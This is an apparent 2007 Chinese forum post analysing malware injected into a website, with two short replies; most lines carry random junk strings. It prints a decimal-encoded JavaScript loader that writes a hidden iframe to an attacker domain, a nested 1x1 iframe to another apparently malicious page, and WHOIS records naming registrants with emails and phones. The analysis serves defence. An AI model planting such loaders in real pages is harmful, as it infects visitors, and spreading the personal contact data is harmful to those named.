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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, X<;.  
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http://www.areway.cn/?p=175 Gr2}N"X=  
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> U?\WgE$  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: P knOeW"j  
          a pa&'%7  
<script>t=’60,105,102,114,97,109,101, R'c dEoy  
32,115,114,99,61,104,116,116,112,58,47,47, +S(# 7  
102,114,101,101,46,117,45,117,117,117,46,99, :V+rC]0  
110,47,101,114,114,111,114,46,104,116,109, *Sj) 9mp  
32,119,105,100,116,104,61,49,48,48,32,104, NzQvciJ@"  
101,105,103,104,116,61,48,62,60,47,105,102, wea  
114,97,109,101,62′; :P_h_Tizv  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> _j , Tc*T  
                                                                                                  Ly2,*\7  
<script>t=’60,105,102,114,97,109,101,32,115, !FP ]  
114,99,61,104,116,116,112,58,47,47,102,114, }}TPu8Rl  
101,101,46,117,45,117,117,117,46,99,110,47, #0<pRDXj  
101,114,114,111,114,46,104,116,109,32,119, ZSQiQ2\)  
105,100,116,104,61,49,48,48,32,104,101,105, 8m iJQIq  
103,104,116,61,48,62,60,47,105,102,114,97, JE9v+a{7  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); M{24MF   
document.write(t);</script> WMtFXkf6"  
                                                                                                  ]}g\te  
<html xmlns=” ivo><"Y(r  
http://www.w3.org/1999/xhtml ;F @Sz/  
“> O6y:e #0z  
<head> ck] I?  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> y{mt *VA4  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> e#HPU  
<title>首页 - 爱生活家庭网 AJi+JO-  
                                                                                                                                                    t!rrYBSCr  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 (9%?ik  
转换字符串后的大概内容是(谁点击后果自付): n}Z%D-b$  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… jnp~ACN,  
                                                                                                                                  k)>H=?mI  
查询玉米u-uuu.cn的详细信息: RM_%u=jC  
Domain Name: u-uuu.cn $;Fx Zkp  
ROID: 20070901s10001s64972306-cn fphCQO^#vW  
Domain Status: ok Iz+%wAZ|B6  
Registrant Organization: 王雷 )Q`Ycz-  
Registrant Name: 王雷 3#,6(k4>  
Administrative Email: czlovexs@126.com (k!7`<k!Y  
Sponsoring Registrar: 北京万网志成科技有限公司 GZaB z#U  
Name Server:ns.yovole.com ZskX!{  
Name Server:ns1.yovole.com j$Ndq(<tG  
Registration Date: 2007-09-01 17:54 aWTurnee^  
Expiration Date: 2008-09-01 17:54 [6l0|Y  
最后PING了一下地址 都没有什么…. -hnNa A  
                                                                                                A;rk4)lij  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. n[DRX5OxR'  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> PR|z -T  
<script language=”javascript” src=” y_L8i[  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script O1o>eDE5A  
> zl8M<z1`1  
这个玉米应该有可能是木马作者的: ( xooU 8d  
foafau.info的详细信息: z# &1>  
Access to INFO WHOIS information is provided to assist persons in "v?F4&\ 8  
determining the contents of a domain name registration record in the | I:@:  
Afilias registry database. The data in this record is provided by NL:-3W7vf  
Afilias Limited for informational purposes only, and Afilias does not 8zeeC eIU  
guarantee its accuracy.  This service is intended only for query-based !o`7$`%Wz\  
access. You agree that you will use this data only for lawful purposes -'qVnu  
and that, under no circumstances will you use this data to: (a) allow, QErdjjg E  
enable, or otherwise support the transmission by e-mail, telephone, or |qe;+)0>K  
facsimile of mass unsolicited, commercial advertising or solicitations &X:;B'   
to entities other than the data recipient’s own existing customers; or ,(q] $eOZ  
(b) enable high volume, automated, electronic processes that send ]CLM'$  
queries or data to the systems of Registry Operator, a Registrar, or sTP\}  
Afilias except as reasonably necessary to register domain names or u_NLgM7*  
modify existing registrations. All rights reserved. Afilias reserves HUjX[w8  
the right to modify these terms at any time. By submitting this query, z0LspRaz  
you agree to abide by this policy. sDNWB_~  
Domain ID:D22418703-LRMS Z4Q]By:/L  
Domain Name:FOAFAU.INFO } .045 Wuu  
Created On:20-Nov-2007 16:05:42 UTC 4r4 #u'Om  
Last Updated On:20-Nov-2007 16:05:44 UTC  mhrF9&s  
Expiration Date:20-Nov-2008 16:05:42 UTC f@YdL6&d-  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) U)f('zD  
Status:CLIENT DELETE PROHIBITED nxhlTf>3  
Status:CLIENT RENEW PROHIBITED z<9C-  
Status:CLIENT TRANSFER PROHIBITED ,u>LAo0  
Status:CLIENT UPDATE PROHIBITED 'i$. _Tx  
Status:TRANSFER PROHIBITED t[+bZUS$~  
Registrant ID:GODA-040110615 pnSKIn  
Registrant Name:liu hong KE"6I  
Registrant Organization: :z P:4 NW  
Registrant Street1:beijing `Gv\"|Gn  
Registrant Street2: ) ??N]V_U  
Registrant Street3: kCD] &  
Registrant City:beijing KF#^MEw%  
Registrant State/Province: 94&t0j_  
Registrant Postal Code:100000 ?&9=f\/P  
Registrant Country:CN  'V^M+ng  
Registrant Phone:+86.860108888777 d6*84'|!  
Registrant Phone Ext.: (N&i4O-I  
Registrant FAX: l4i 51S"  
Registrant FAX Ext.: A^M]vk%dg  
Registrant Email:bbbshiji@163.com {.kIC@^O  
Admin ID:GODA-240110615 hfI=9x/  
Admin Name:liu hong ] / Nt  
Admin Organization: PcA^ jBgGl  
Admin Street1:beijing %XN;S29d5W  
Admin Street2: Gr\jjf`  
Admin Street3: *w0|`[P+h  
Admin City:beijing uQH]  
Admin State/Province: a]fFR~ OY  
Admin Postal Code:100000 )/DN>rU  
Admin Country:CN kOo  Vqu  
Admin Phone:+86.860108888777 Wjq9f;  
Admin Phone Ext.: j[i*;0) |  
Admin FAX: Sak^J.~G[  
Admin FAX Ext.:  ij:a+T  
Admin Email:bbbshiji@163.com 0~ nCT&V  
Billing ID:GODA-340110615 f=V`Nn<=A  
Billing Name:liu hong Y>aVnixx<  
Billing Organization: k-3;3Mq  
Billing Street1:beijing |DW^bv  
Billing Street2: B!J?,SB  
Billing Street3: n:4 0T1: q  
Billing City:beijing !I1p`_(_7  
Billing State/Province: >WZ%Pv *  
Billing Postal Code:100000 MF.!D;s  
Billing Country:CN pSC{0Y$g  
Billing Phone:+86.860108888777 ^k % +ao  
Billing Phone Ext.: DZL(G [  
Billing FAX: ?;](;n#lU  
Billing FAX Ext.: `:Wyw<^  
Billing Email:bbbshiji@163.com uY)4y0  
Tech ID:GODA-140110615 u,iiS4'Ze  
Tech Name:liu hong ?MSZO]Q4+  
Tech Organization: 4w%hvJ  
Tech Street1:beijing pW8?EGO@  
Tech Street2: ynra%"sd  
Tech Street3: }Y.@:v j  
Tech City:beijing j,].88H  
Tech State/Province: @A8y!<  
Tech Postal Code:100000 2&'uO'K  
Tech Country:CN } -4p8Zt  
Tech Phone:+86.860108888777 D_<B^3w )  
Tech Phone Ext.: U[;ECw@  
Tech FAX: 'p[6K'Uq5  
Tech FAX Ext.: X)]>E]X  
Tech Email:bbbshiji@163.com (:~_#BA  
Name Server:NS27.DOMAINCONTROL.COM 7Y~5gn  
Name Server:NS28.DOMAINCONTROL.COM 3@eI? (N  
Name Server: IA1O]i S  
Name Server: 9VaSCB  
Name Server: BSy4 d>  
Name Server: u]B b^[  
Name Server: ^{yb4yQ 0  
Name Server: vQXF$/S  
Name Server: D.AiqO<z  
Name Server: oKSW:A  
Name Server: "AJ>pU3  
Name Server: .w m<l:  
Name Server: nC/T$ #G  
                                                                                                          ocW`sE?EED  
接着下载每个文件里面的代码: K'e!BZm6Q  
一步一步看.. =fBr2%qK  
b N>Ar  
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79Q,XRWh|  
*sfz+8Y  
(#je0ES  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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别笑我浅溥,天真的以为用一腔真诚就能感动这个冷漠的世界。
也别说我幼稚,竟想用不长的人生去诠释繁杂的红尘。
然而除了真诚,我还能给你什么,的确我真的一无所有!

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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
级别: 终身会员
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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